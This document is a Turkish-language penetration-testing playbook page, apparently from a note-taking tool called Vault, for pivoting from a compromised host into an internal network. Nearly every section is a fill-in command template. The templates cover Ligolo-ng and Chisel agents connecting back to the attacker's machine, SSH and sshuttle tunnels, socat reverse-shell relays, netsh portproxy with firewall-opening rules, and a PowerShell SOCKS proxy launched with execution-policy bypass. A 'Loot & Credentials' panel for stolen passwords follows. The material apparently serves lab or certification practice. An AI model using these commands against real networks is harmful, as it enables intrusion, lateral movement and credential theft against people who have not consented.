Back to Vault

Pivoting & Tunnelling Playbook

Sınır makinesinden iç ağa geç · AD seti için şart

Değişkenler — Vault ile senkron, komutlara otomatik dolar

1 · Keşif — İkinci Ağı Bul

dual-homed host?

Bir makineyi ele geçirdin. İkinci bir NIC / erişebildiği iç subnet var mı diye bak.

Gerekli:Target IPSubnet

Arayüzler & route (Linux)

linux

İkinci ağ arayüzü ve yönlendirme tablosu — iç subnet burada görünür.

ip a; ip route; cat /etc/hosts

Arayüzler & route (Windows)

windows

Windows pivot host’ta ağ yapılandırması ve route tablosu.

ipconfig /all & route print & arp -a

ARP komşuları — canlı iç host’lar

arp

Pivot host’un konuştuğu iç IP’ler.

arp -a; ip neigh

İç subnet ping sweep (host üzerinden)

ping-sweep<SUBNET_PREFIX>

Tünel kurmadan, pivot host’tan hızlı canlı host taraması.

for i in $(seq 1 254); do (ping -c1 -w1 <SUBNET_PREFIX>.$i >/dev/null 2>&1 && echo <SUBNET_PREFIX>.$i alive &); done; wait

2 · Ligolo-ng

önerilen — tün arayüzü

Modern, en temiz yöntem. proxychains gerekmez; iç ağa Kali’den doğrudan erişirsin.

Gerekli:LHOSTSubnet

① tun arayüzü oluştur (Kali)

kali

Ligolo trafiği için sanal arayüz.

sudo ip tuntap add user $(whoami) mode tun ligolo; sudo ip link set ligolo up

② Proxy’i başlat (Kali)

kali

Agent bağlantılarını dinle (self-signed sertifika ile).

./proxy -selfcert -laddr 0.0.0.0:11601

③ Agent’ı çalıştır (pivot host)

pivot<LHOST>

Ele geçirdiğin makinede agent’ı Kali’ye geri bağla.

./agent -connect <LHOST>:11601 -ignore-cert

④ İç subnet route ekle (Kali)

kali<SUBNET>

Proxy konsolunda session seç; sonra iç ağı ligolo arayüzüne yönlendir.

sudo ip route add <SUBNET> dev ligolo

⑤ Tüneli başlat

ligolo<PIVOT_IP>

Proxy konsolunda "start". Artık nmap <PIVOT_IP> gibi araçları Kali’den doğrudan çalıştır.

start   # ardından: nmap -sT -Pn <PIVOT_IP>

⑥ Geri shell için listener (iç→Kali)

ligolo<LPORT>

İç host’tan Kali’ye reverse shell almak için proxy konsolunda port yönlendir.

listener_add --addr 0.0.0.0:<LPORT> --to 127.0.0.1:<LPORT> --tcp

⑦ Çift pivot (agent zinciri)

ligolo<INTERNAL_SUBNET>

İkinci katman iç ağa ulaşmak için ilk iç host’a yeni agent bırak, session değiştir, yeni route ekle.

sudo ip route add <INTERNAL_SUBNET> dev ligolo   # ikinci session seçiliyken

3 · Chisel

reverse SOCKS / port forward

Ligolo yoksa. Reverse SOCKS proxy kurup proxychains ile iç ağa gir.

Gerekli:LHOSTPivot IP

① Server (Kali, reverse)

kali

Reverse modda sunucuyu başlat.

./chisel server -p 8080 --reverse

② Client — reverse SOCKS (pivot)

pivot<LHOST>

Pivot host Kali’ye bağlanır; Kali’de 1080 SOCKS proxy açılır.

./chisel client <LHOST>:8080 R:socks

③ proxychains ile araç çalıştır

proxychains<PIVOT_IP>

SOCKS5 127.0.0.1:1080 üzerinden iç ağı tara/eriş.

proxychains -q nmap -sT -Pn <PIVOT_IP>

Tek port forward (SOCKS’suz)

chisel<LHOST> <PIVOT_IP>

Sadece bir iç servisi Kali localhost’a getir (örn. RDP).

./chisel client <LHOST>:8080 R:3389:<PIVOT_IP>:3389   # Kali: 127.0.0.1:3389

Forward SOCKS (hedefe gelen bağlantı açıksa)

chisel<TARGET_IP>

Reverse gerekmiyorsa: hedefte server, Kali’de client.

hedef: ./chisel server -p 8080 --socks5   |   Kali: ./chisel client <TARGET_IP>:8080 1080:socks

4 · SSH Tunneling

-L / -R / -D / sshuttle

Pivot host’ta SSH erişimin (cred/anahtar) varsa ekstra araç gerekmez.

Gerekli:Target IPUsernamePivot IPSubnet

Dynamic — SOCKS proxy (-D)

ssh<USERNAME> <TARGET_IP>

Pivot üzerinden SOCKS proxy; proxychains 127.0.0.1:1080.

ssh -D 1080 -N -f <USERNAME>@<TARGET_IP>

Local forward (-L) — iç servise eriş

ssh<PIVOT_IP> <USERNAME> <TARGET_IP>

İç host’un portunu Kali localhost’a getir.

ssh -L 8080:<PIVOT_IP>:80 -N <USERNAME>@<TARGET_IP>   # Kali: 127.0.0.1:8080

Remote forward (-R) — Kali’yi aç

ssh<USERNAME> <LHOST>

Pivot host’tan Kali’ye port aç (geri bağlantı yolu).

ssh -R 1080 -N <USERNAME>@<LHOST>

sshuttle — VPN benzeri (en kolay)

sshuttle<USERNAME> <TARGET_IP> <SUBNET>

Tüm iç subnet’i şeffaf yönlendir; proxychains gerekmez.

sshuttle -r <USERNAME>@<TARGET_IP> <SUBNET>

ProxyJump (-J) çok atlamalı

ssh<USERNAME> <TARGET_IP> <PIVOT_IP>

Birden çok pivot host üzerinden tek komutla iç host’a SSH.

ssh -J <USERNAME>@<TARGET_IP> <USERNAME>@<PIVOT_IP>

5 · proxychains & socat

proxy üzerinden araç / relay

SOCKS proxy kurulduktan sonra araçları yönlendir; port relay için socat.

Gerekli:Pivot IPSubnetPort

proxychains yapılandırması

proxychains

/etc/proxychains4.conf sonuna proxy satırı ekle (chisel=socks5 1080).

echo "socks5 127.0.0.1 1080" | sudo tee -a /etc/proxychains4.conf

İç ağı tara / erişim

proxychains<SUBNET>

proxychains ile SMB enum / port tarama (TCP connect kullan).

proxychains -q nxc smb <SUBNET>

socat port relay (pivot host)

socat<LPORT> <PIVOT_IP> <PORT>

Pivot host’ta bir iç portu dış arayüze yansıt (tool yokken).

socat TCP-LISTEN:<LPORT>,fork,reuseaddr TCP:<PIVOT_IP>:<PORT> &

socat reverse shell relay

socat<LPORT> <LHOST>

İç host’tan gelen shell’i Kali’ye yönlendir.

socat TCP-LISTEN:<LPORT>,fork TCP:<LHOST>:<LPORT>

proxychains ile nmap (kurallar)

nmap<PIVOT_IP>

Proxy üzerinden yalnızca TCP connect (-sT) ve -Pn çalışır; -sS/ICMP çalışmaz. Yavaştır, port daralt.

proxychains -q nmap -sT -Pn -p 21,22,80,139,445,3389 <PIVOT_IP>

Tarayıcıyı SOCKS’a yönlendir (FoxyProxy)

browser

İç web uygulamasını tarayıcıdan gör: SOCKS5 127.0.0.1:1080, Remote DNS açık.

FoxyProxy → SOCKS5 host 127.0.0.1 port 1080 (proxy DNS: on)

6 · Windows Pivot

netsh / plink / chisel

Pivot host Windows ise: yerleşik netsh portproxy veya plink/chisel.

Gerekli:LHOSTPivot IPUsernameLPORTPort

netsh portproxy (admin gerekir)

netsh<LPORT> <PORT> <PIVOT_IP>

Windows’ta yerleşik port yönlendirme; firewall’da portu da aç.

netsh interface portproxy add v4tov4 listenport=<LPORT> listenaddress=0.0.0.0 connectport=<PORT> connectaddress=<PIVOT_IP>

portproxy temizle

netsh

İş bitince yönlendirmeyi kaldır.

netsh interface portproxy reset

plink — dynamic SOCKS

plink<USERNAME> <LHOST>

Windows’tan SSH ile SOCKS proxy (Putty plink).

plink.exe -ssh -D 1080 <USERNAME>@<LHOST>

plink — remote forward

plink<LPORT> <PIVOT_IP> <PORT> <USERNAME> <LHOST>

İç portu Kali’ye geri aç.

plink.exe -ssh -R <LPORT>:<PIVOT_IP>:<PORT> <USERNAME>@<LHOST>

Invoke-SocksProxy (saf PowerShell)

invoke-socks

Araç yüklemeden Windows host’ta SOCKS proxy.

powershell -ep bypass -c "Import-Module .\Invoke-SocksProxy.ps1; Invoke-SocksProxy -bindPort 1080"

Firewall’da gelen portu aç

netsh<LPORT>

portproxy sonrası gelen bağlantıya izin ver.

netsh advfirewall firewall add rule name="fwd" dir=in action=allow protocol=TCP localport=<LPORT>

Loot & Credentials

Store passwords and hashes globally

No loot added yet.
Save cracked passwords here.